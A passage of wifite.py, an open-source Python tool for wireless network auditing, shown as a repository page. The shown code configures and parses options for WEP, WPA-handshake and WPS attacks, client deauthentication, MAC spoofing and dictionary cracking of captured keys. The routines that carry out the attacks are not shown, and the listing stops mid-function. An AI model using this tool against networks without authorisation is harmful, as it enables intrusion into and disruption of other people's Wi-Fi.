Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite
Path: blob/master/wifite.py
306 views
1
#!/usr/bin/python
2
3
# -*- coding: utf-8 -*-
4
5
"""
6
wifite
7
8
author: derv82 at gmail
9
author: bwall @botnet_hunter ([email protected])
10
author: drone @dronesec ([email protected])
11
12
Thanks to everyone that contributed to this project.
13
If you helped in the past and want your name here, shoot me an email
14
15
Licensed under the GNU General Public License Version 2 (GNU GPL v2),
16
available at: http://www.gnu.org/licenses/gpl-2.0.txt
17
18
(C) 2011 Derv Merkler
19
20
Ballast Security additions
21
-----------------
22
- No longer requires to be root to run -cracked
23
- cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
24
- Backwards compatibility
25
- Made a run configuration class to handle globals
26
- Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
27
- Changed the updater to grab files from GitHub and not Google Code
28
- Use argparse to parse command-line arguments
29
- -wepca flag now properly initialized if passed through CLI
30
- parse_csv uses python csv library
31
-----------------
32
33
34
TODO:
35
36
Restore same command-line switch names from v1
37
38
If device already in monitor mode, check for and, if applicable, use macchanger
39
40
WPS
41
* Mention reaver automatically resumes sessions
42
* Warning about length of time required for WPS attack (*hours*)
43
* Show time since last successful attempt
44
* Percentage of tries/attempts ?
45
* Update code to work with reaver 1.4 ("x" sec/att)
46
47
WEP:
48
* ability to pause/skip/continue (done, not tested)
49
* Option to capture only IVS packets (uses --output-format ivs,csv)
50
- not compatible on older aircrack-ng's.
51
- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
52
- would cut down on size of saved .caps
53
54
reaver:
55
MONITOR ACTIVITY!
56
- Enter ESSID when executing (?)
57
- Ensure WPS key attempts have begun.
58
- If no attempts can be made, stop attack
59
60
- During attack, if no attempts are made within X minutes, stop attack & Print
61
62
- Reaver's output when unable to associate:
63
[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
64
- If failed to associate for x minutes, stop attack (same as no attempts?)
65
66
MIGHTDO:
67
* WPA - crack (pyrit/cowpatty) (not really important)
68
* Test injection at startup? (skippable via command-line switch)
69
70
"""
71
72
# ############
73
# LIBRARIES #
74
#############
75
76
import csv # Exporting and importing cracked aps
77
import os # File management
78
import time # Measuring attack intervals
79
import random # Generating a random MAC address.
80
import errno # Error numbers
81
82
from sys import argv # Command-line arguments
83
from sys import stdout # Flushing
84
85
from shutil import copy # Copying .cap files
86
87
# Executing, communicating with, killing processes
88
from subprocess import Popen, call, PIPE
89
from signal import SIGINT, SIGTERM
90
91
import re # RegEx, Converting SSID to filename
92
import argparse # arg parsing
93
import urllib # Check for new versions from the repo
94
import abc # abstract base class libraries for attack templates
95
96
97
################################
98
# GLOBAL VARIABLES IN ALL CAPS #
99
################################
100
101
# Console colors
102
W = '\033[0m' # white (normal)
103
R = '\033[31m' # red
104
G = '\033[32m' # green
105
O = '\033[33m' # orange
106
B = '\033[34m' # blue
107
P = '\033[35m' # purple
108
C = '\033[36m' # cyan
109
GR = '\033[37m' # gray
110
111
# /dev/null, send output from programs so they don't print to screen.
112
DN = open(os.devnull, 'w')
113
ERRLOG = open(os.devnull, 'w')
114
OUTLOG = open(os.devnull, 'w')
115
116
###################
117
# DATA STRUCTURES #
118
###################
119
120
121
class CapFile:
122
"""
123
Holds data about an access point's .cap file, including AP's ESSID & BSSID.
124
"""
125
126
def __init__(self, filename, ssid, bssid):
127
self.filename = filename
128
self.ssid = ssid
129
self.bssid = bssid
130
131
132
class Target:
133
"""
134
Holds data for a Target (aka Access Point aka Router)
135
"""
136
137
def __init__(self, bssid, power, data, channel, encryption, ssid):
138
self.bssid = bssid
139
self.power = power
140
self.data = data
141
self.channel = channel
142
self.encryption = encryption
143
self.ssid = ssid
144
self.wps = False # Default to non-WPS-enabled router.
145
self.key = ''
146
147
148
class Client:
149
"""
150
Holds data for a Client (device connected to Access Point/Router)
151
"""
152
153
def __init__(self, bssid, station, power):
154
self.bssid = bssid
155
self.station = station
156
self.power = power
157
158
159
class RunConfiguration:
160
"""
161
Configuration for this rounds of attacks
162
"""
163
164
def __init__(self):
165
self.REVISION = 89;
166
self.PRINTED_SCANNING = False
167
168
self.TX_POWER = 0 # Transmit power for wireless interface, 0 uses default power
169
170
# WPA variables
171
self.WPA_DISABLE = False # Flag to skip WPA handshake capture
172
self.WPA_STRIP_HANDSHAKE = True # Use pyrit or tshark (if applicable) to strip handshake
173
self.WPA_DEAUTH_COUNT = 1 # Count to send deauthentication packets
174
self.WPA_DEAUTH_TIMEOUT = 10 # Time to wait between deauthentication bursts (in seconds)
175
self.WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds)
176
self.WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored
177
# Strip file path separator if needed
178
if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
179
self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
180
181
self.WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks
182
self.WPA_DONT_CRACK = False # Flag to skip cracking of handshakes
183
if os.path.exists('/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
184
self.WPA_DICTIONARY = '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
185
elif os.path.exists('/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
186
self.WPA_DICTIONARY = '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
187
elif os.path.exists('/usr/share/wordlists/fern-wifi/common.txt'):
188
self.WPA_DICTIONARY = '/usr/share/wordlists/fern-wifi/common.txt'
189
else:
190
self.WPA_DICTIONARY = ''
191
192
# Various programs to use when checking for a four-way handshake.
193
# True means the program must find a valid handshake in order for wifite to recognize a handshake.
194
# Not finding handshake short circuits result (ALL 'True' programs must find handshake)
195
self.WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
196
self.WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate.
197
self.WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast.
198
self.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)
199
200
# WEP variables
201
self.WEP_DISABLE = False # Flag for ignoring WEP networks
202
self.WEP_PPS = 600 # packets per second (Tx rate)
203
self.WEP_TIMEOUT = 600 # Amount of time to give each attack
204
self.WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
205
self.WEP_CHOPCHOP = True #
206
self.WEP_FRAGMENT = True #
207
self.WEP_CAFFELATTE = True #
208
self.WEP_P0841 = True
209
self.WEP_HIRTE = True
210
self.WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
211
self.WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
212
self.WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
213
self.WEP_SAVE = False # Save packets.
214
215
# WPS variables
216
self.WPS_DISABLE = False # Flag to skip WPS scan and attacks
217
self.PIXIE = False
218
self.WPS_FINDINGS = [] # List of (successful) results of WPS attacks
219
self.WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
220
self.WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
221
self.WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
222
223
224
# Program variables
225
self.SHOW_ALREADY_CRACKED = False # Says whether to show already cracked APs as options to crack
226
self.WIRELESS_IFACE = '' # User-defined interface
227
self.MONITOR_IFACE = '' # User-defined interface already in monitor mode
228
self.TARGET_CHANNEL = 0 # User-defined channel to scan on
229
self.TARGET_ESSID = '' # User-defined ESSID of specific target to attack
230
self.TARGET_BSSID = '' # User-defined BSSID of specific target to attack
231
self.IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
232
# It's our job to put it out of monitor mode after the attacks
233
self.ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
234
self.DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
235
self.SEND_DEAUTHS = True # Flag for deauthing clients while scanning for acces points
236
self.TARGETS_REMAINING = 0 # Number of access points remaining to attack
237
self.WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
238
self.THIS_MAC = '' # The interfaces current MAC address.
239
self.SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
240
self.CRACKED_TARGETS = [] # List of targets we have already cracked
241
self.ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
242
self.ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
243
self.VERBOSE_APS = True # Print access points as they appear
244
self.CRACKED_TARGETS = self.load_cracked()
245
old_cracked = self.load_old_cracked()
246
if len(old_cracked) > 0:
247
# Merge the results
248
for OC in old_cracked:
249
new = True
250
for NC in self.CRACKED_TARGETS:
251
if OC.bssid == NC.bssid:
252
new = False
253
break
254
# If Target isn't in the other list
255
# Add and save to disk
256
if new:
257
self.save_cracked(OC)
258
259
def ConfirmRunningAsRoot(self):
260
if os.getuid() != 0:
261
print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
262
print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
263
exit(1)
264
265
def ConfirmCorrectPlatform(self):
266
if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
267
print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
268
exit(1)
269
270
def CreateTempFolder(self):
271
from tempfile import mkdtemp
272
273
self.temp = mkdtemp(prefix='wifite')
274
if not self.temp.endswith(os.sep):
275
self.temp += os.sep
276
277
def save_cracked(self, target):
278
"""
279
Saves cracked access point key and info to a file.
280
"""
281
self.CRACKED_TARGETS.append(target)
282
with open('cracked.csv', 'wb') as csvfile:
283
targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
284
for target in self.CRACKED_TARGETS:
285
targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
286
287
def load_cracked(self):
288
"""
289
Loads info about cracked access points into list, returns list.
290
"""
291
result = []
292
if not os.path.exists('cracked.csv'): return result
293
with open('cracked.csv', 'rb') as csvfile:
294
targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
295
for row in targetreader:
296
t = Target(row[0], 0, 0, 0, row[1], row[2])
297
t.key = row[3]
298
t.wps = row[4]
299
result.append(t)
300
return result
301
302
def load_old_cracked(self):
303
"""
304
Loads info about cracked access points into list, returns list.
305
"""
306
result = []
307
if not os.path.exists('cracked.txt'):
308
return result
309
fin = open('cracked.txt', 'r')
310
lines = fin.read().split('\n')
311
fin.close()
312
313
for line in lines:
314
fields = line.split(chr(0))
315
if len(fields) <= 3:
316
continue
317
tar = Target(fields[0], '', '', '', fields[3], fields[1])
318
tar.key = fields[2]
319
result.append(tar)
320
return result
321
322
def exit_gracefully(self, code=0):
323
"""
324
We may exit the program at any time.
325
We want to remove the temp folder and any files contained within it.
326
Removes the temp files/folder and exists with error code "code".
327
"""
328
# Remove temp files and folder
329
if os.path.exists(self.temp):
330
for f in os.listdir(self.temp):
331
os.remove(os.path.join(self.temp, f))
332
os.rmdir(self.temp)
333
# Disable monitor mode if enabled by us
334
self.RUN_ENGINE.disable_monitor_mode()
335
# Change MAC address back if spoofed
336
mac_change_back()
337
print GR + " [+]" + W + " quitting" # wifite will now exit"
338
print ''
339
# GTFO
340
exit(code)
341
342
def handle_args(self):
343
"""
344
Handles command-line arguments, sets global variables.
345
"""
346
set_encrypt = False
347
set_hscheck = False
348
set_wep = False
349
capfile = '' # Filename of .cap file to analyze for handshakes
350
351
opt_parser = self.build_opt_parser()
352
options = opt_parser.parse_args()
353
354
try:
355
if not set_encrypt and (options.wpa or options.wep or options.wps):
356
self.WPS_DISABLE = True
357
self.WPA_DISABLE = True
358
self.WEP_DISABLE = True
359
set_encrypt = True
360
if options.recrack:
361
self.SHOW_ALREADY_CRACKED = True
362
print GR + ' [+]' + W + ' including already cracked networks in targets.'
363
if options.wpa:
364
if options.wps:
365
print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
366
else:
367
print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
368
self.WPA_DISABLE = False
369
if options.wep:
370
print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
371
self.WEP_DISABLE = False
372
if options.wps:
373
print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
374
self.WPS_DISABLE = False
375
if options.pixie:
376
print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
377
print GR + ' [+]' + W + ' using only ' + G + 'WPS Pixie-Dust' + W + ' attack.'
378
self.WPS_DISABLE = False
379
self.WEP_DISABLE = True
380
self.PIXIE = True
381
if options.channel:
382
try:
383
self.TARGET_CHANNEL = int(options.channel)
384
except ValueError:
385
print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
386
except IndexError:
387
print O + ' [!]' + R + ' no channel given!' + W
388
else:
389
print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
390
if options.mac_anon:
391
print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
392
print O + ' not: only works if device is not already in monitor mode!' + W
393
self.DO_NOT_CHANGE_MAC = False
394
if options.interface:
395
self.WIRELESS_IFACE = options.interface
396
print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W)
397
if options.monitor_interface:
398
self.MONITOR_IFACE = options.monitor_interface
399
print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)
400
if options.nodeauth:
401
self.SEND_DEAUTHS = False
402
print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W
403
if options.essid:
404
try:
405
self.TARGET_ESSID = options.essid
406
except ValueError:
407
print R + ' [!]' + O + ' no ESSID given!' + W
408
else:
409
print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
410
if options.bssid:
411
try:
412
self.TARGET_BSSID = options.bssid
413
except ValueError:
414
print R + ' [!]' + O + ' no BSSID given!' + W
415
else:
416
print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
417
if options.showb:
418
self.SHOW_MAC_IN_SCAN = True
419
print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
420
if options.all:
421
self.ATTACK_ALL_TARGETS = True
422
print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
423
if options.power:
424
try:
425
self.ATTACK_MIN_POWER = int(options.power)
426
except ValueError:
427
print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
428
except IndexError:
429
print R + ' [!]' + O + ' no power level given!' + W
430
else:
431
print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
432
if options.tx:
433
try:
434
self.TX_POWER = int(options.tx)
435
except ValueError:
436
print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
437
except IndexError:
438
print R + ' [!]' + O + ' no TX power level given!' + W
439
else:
440
print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
441
if options.quiet:
442
self.VERBOSE_APS = False
443
print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
444
if options.check:
445
try:
446
capfile = options.check
447
except IndexError:
448
print R + ' [!]' + O + ' unable to analyze capture file' + W
449
print R + ' [!]' + O + ' no cap file given!\n' + W
450
self.exit_gracefully(1)
451
else:
452
if not os.path.exists(capfile):
453
print R + ' [!]' + O + ' unable to analyze capture file!' + W
454
print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
455
self.exit_gracefully(1)
456
if options.cracked:
457
if len(self.CRACKED_TARGETS) == 0:
458
print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
459
self.exit_gracefully(1)
460
print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
461
for victim in self.CRACKED_TARGETS:
462
if victim.wps != False:
463
print ' %s (%s) : "%s" - Pin: %s' % (
464
C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
465
else:
466
print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
467
print ''
468
self.exit_gracefully(0)
469
# WPA
470
if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
471
self.WPA_HANDSHAKE_TSHARK = False
472
self.WPA_HANDSHAKE_PYRIT = False
473
self.WPA_HANDSHAKE_COWPATTY = False
474
self.WPA_HANDSHAKE_AIRCRACK = False
475
set_hscheck = True
476
if options.strip:
477
self.WPA_STRIP_HANDSHAKE = True
478
print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
479
if options.wpadt:
480
try:
481
self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
482
except ValueError:
483
print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
484
except IndexError:
485
print R + ' [!]' + O + ' no deauth timeout given!' + W
486
else:
487
print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
488
if options.wpat:
489
try:
490
self.WPA_ATTACK_TIMEOUT = int(options.wpat)
491
except ValueError:
492
print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
493
except IndexError:
494
print R + ' [!]' + O + ' no attack timeout given!' + W
495
else:
496
print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
497
if options.crack:
498
self.WPA_DONT_CRACK = False
499
print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
500
if options.dic:
501
try:
502
self.WPA_DICTIONARY = options.dic
503
except IndexError:
504
print R + ' [!]' + O + ' no WPA dictionary given!'
505
else:
506
if os.path.exists(options.dic):
507
print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
508
else:
509
print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
510
else:
511
print R + ' [!]' + O + ' WPA dictionary file not given!'
512
self.exit_gracefully(1)
513
if options.tshark:
514
self.WPA_HANDSHAKE_TSHARK = True
515
print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
516
if options.pyrit:
517
self.WPA_HANDSHAKE_PYRIT = True
518
print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
519
if options.aircrack:
520
self.WPA_HANDSHAKE_AIRCRACK = True
521
print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
522
if options.cowpatty:
523
self.WPA_HANDSHAKE_COWPATTY = True
524
print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
525
526
# WEP
527
if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
528
or options.p0841 or options.hirte:
529
self.WEP_CHOPCHOP = False
530
self.WEP_ARPREPLAY = False
531
self.WEP_CAFFELATTE = False
532
self.WEP_FRAGMENT = False
533
self.WEP_P0841 = False
534
self.WEP_HIRTE = False
535
if options.chopchop:
536
print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
537
self.WEP_CHOPCHOP = True
538
if options.fragment:
539
print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
540
self.WEP_FRAGMENT = True
541
if options.caffeelatte:
542
print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
543
self.WEP_CAFFELATTE = True
544
if options.arpreplay:
545
print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
546
self.WEP_ARPREPLAY = True
547
if options.p0841:
548
print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
549
self.WEP_P0841 = True
550
if options.hirte:
551
print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
552
self.WEP_HIRTE = True
553
if options.fakeauth:
554
print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
555
self.WEP_IGNORE_FAKEAUTH = False
556
if options.wepca:
557
try:
558
self.WEP_CRACK_AT_IVS = int(options.wepca)
559
except ValueError:
560
print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
561
except IndexError:
562
print R + ' [!]' + O + ' no IV number specified!' + W
563
else:
564
print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
565
G + str(self.WEP_CRACK_AT_IVS) + W)
566
if options.wept:
567
try:
568
self.WEP_TIMEOUT = int(options.wept)
569
except ValueError:
570
print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
571
except IndexError:
572
print R + ' [!]' + O + ' no timeout given!' + W
573
else:
574
print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
575
G + str(self.WEP_TIMEOUT) + " seconds" + W)
576
if options.pps:
577
try:
578
self.WEP_PPS = int(options.pps)
579
except ValueError:
580
print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
581
except IndexError:
582
print R + ' [!]' + O + ' no value given!' + W
583
else:
584
print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
585
G + str(options.pps) + " packets/sec" + W)
586
if options.wepsave:
587
self.WEP_SAVE = True
588
print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
589
590
# WPS
591
if options.wpst:
592
try:
593
self.WPS_TIMEOUT = int(options.wpst)
594
except ValueError:
595
print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
596
except IndexError:
597
print R + ' [!]' + O + ' no timeout given!' + W
598
else:
599
print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
600
G + str(self.WPS_TIMEOUT) + " seconds" + W)
601
if options.wpsratio:
602
try:
603
self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
604
except ValueError:
605
print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
606
except IndexError:
607
print R + ' [!]' + O + ' no ratio given!' + W
608
else:
609
print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
610
G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
611
if options.wpsretry:
612
try:
613
self.WPS_MAX_RETRIES = int(options.wpsretry)
614
except ValueError:
615
print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
616
except IndexError:
617
print R + ' [!]' + O + ' no number given!' + W
618
else:
619
print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
620
G + str(self.WPS_MAX_RETRIES) + " retries" + W)
621
622
except IndexError:
623
print '\nindexerror\n\n'
624
625
if capfile != '':
626
self.RUN_ENGINE.analyze_capfile(capfile)
627
print ''
628
629
def build_opt_parser(self):
630
""" Options are doubled for backwards compatability; will be removed soon and
631
fully moved to GNU-style
632
"""
633
option_parser = argparse.ArgumentParser()
634
635
# set commands
636
command_group = option_parser.add_argument_group('COMMAND')
637
command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
638
command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
639
command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
640
dest='cracked')
641
command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
642
command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
643
action='store_true', dest='recrack')
644
command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
645
646
# set global
647
global_group = option_parser.add_argument_group('GLOBAL')
648
global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
649
global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
650
global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
651
global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
652
dest='mac_anon')
653
global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
654
global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
655
dest='monitor_interface')
656
global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
657
global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
658
dest='essid')
659
global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
660
dest='bssid')
661
global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
662
dest='showb')
663
global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
664
global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth')
665
global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
666
dest='power')
667
global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
668
global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
669
global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
670
global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
671
dest='quiet')
672
global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
673
# set wpa commands
674
wpa_group = option_parser.add_argument_group('WPA')
675
wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
676
action='store_true', dest='wpa')
677
wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
678
wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
679
dest='wpat')
680
wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
681
wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
682
dest='wpadt')
683
wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
684
wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
685
action='store_true', dest='strip')
686
wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
687
wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
688
dest='crack')
689
wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
690
wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
691
dest='dic')
692
wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
693
wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
694
action='store_true', dest='aircrack')
695
wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
696
wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
697
dest='pyrit')
698
wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
699
wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
700
dest='tshark')
701
wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
702
wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
703
action='store_true', dest='cowpatty')
704
wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
705
# set WEP commands
706
wep_group = option_parser.add_argument_group('WEP')
707
wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
708
dest='wep')
709
wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
710
wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
711
dest='pps')
712
wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
713
wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
714
dest='wept')
715
wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
716
wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
717
dest='chopchop')
718
wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
719
wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
720
dest='arpreplay')
721
wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
722
dest='arpreplay')
723
wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
724
dest='fragment')
725
wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
726
wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
727
dest='caffeelatte')
728
wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
729
dest='caffeelatte')
730
wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
731
wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
732
wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
733
wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
734
